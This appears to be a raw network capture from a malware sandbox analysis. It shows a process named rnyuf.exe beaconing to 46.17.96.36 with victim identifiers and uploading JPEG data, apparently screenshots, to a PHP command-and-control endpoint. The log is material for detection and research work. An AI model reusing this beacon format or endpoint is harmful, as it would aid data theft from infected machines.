Aug 29, 2021 22:28:20.192167997 CEST	14501	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:20.271400928 CEST	14501	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:28:20.332298994 CEST	14501	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:20.332416058 CEST	14501	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:20.332640886 CEST	14511	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:20.332849979 CEST	14514	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:20.368993998 CEST	14517	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:20.369034052 CEST	14525	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:20.369117975 CEST	14533	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:20.369518042 CEST	14536	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:28:20.369548082 CEST	14541	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:28:20.405579090 CEST	14562	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:28:20.405643940 CEST	14581	OUT	Data Raw: 69 5a 00 c5 3b 14 98 a2 c3 b8 a2 97 14 0a 76 29 89 88 29 71 cd 18 a7 77 a6 48 80 53 80 cd 25 38 55 22 58 84 52 62 9e 45 25 0c 06 e2 96 97 14 b8 a6 02 01 4e 14 01 4b 40 98 52 1a 75 03 93 4c 40 a2 a4 51 4d a9 07 02 ad 22 1b 1a d4 ca 94 8e 2a 32 28 Data Ascii: iZ;v))qwHS%8U"XRbE%NK@RuL@QM"*2(` RB(R<V4Q@$QNHD)jKERJM6u cih)i)GZsKLAP(:)ANpLuE!1hP#c6z7s5Q}Ma
Aug 29, 2021 22:28:20.516369104 CEST	14609	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.4	49956	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:20.494779110 CEST	14609	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:20.574024916 CEST	14609	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.4	49957	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:20.908024073 CEST	14610	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:20.982048035 CEST	14700	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.4	49958	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:20.909310102 CEST	14611	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:20.909427881 CEST	14611	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:20.909615040 CEST	14621	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:20.909750938 CEST	14624	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:20.941668034 CEST	14626	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:20.941728115 CEST	14632	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:20.941745996 CEST	14634	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:20.941993952 CEST	14644	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:20.942138910 CEST	14649	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:20.974196911 CEST	14655	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:20.974262953 CEST	14657	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:21.078622103 CEST	14719	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49757	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:18.509087086 CEST	3391	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:18.509524107 CEST	3391	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:18.509850979 CEST	3401	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:18.510364056 CEST	3404	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:18.541722059 CEST	3415	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:18.542049885 CEST	3424	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:18.542174101 CEST	3429	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:18.573854923 CEST	3432	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:18.573883057 CEST	3437	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:18.573900938 CEST	3440	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:18.574031115 CEST	3451	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:18.676027060 CEST	3498	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.4	49959	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:21.206777096 CEST	14720	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:21.282018900 CEST	14720	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:28:21.388977051 CEST	14720	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:21.389081955 CEST	14721	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:21.389246941 CEST	14731	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:21.389328003 CEST	14733	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:21.422152996 CEST	14741	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
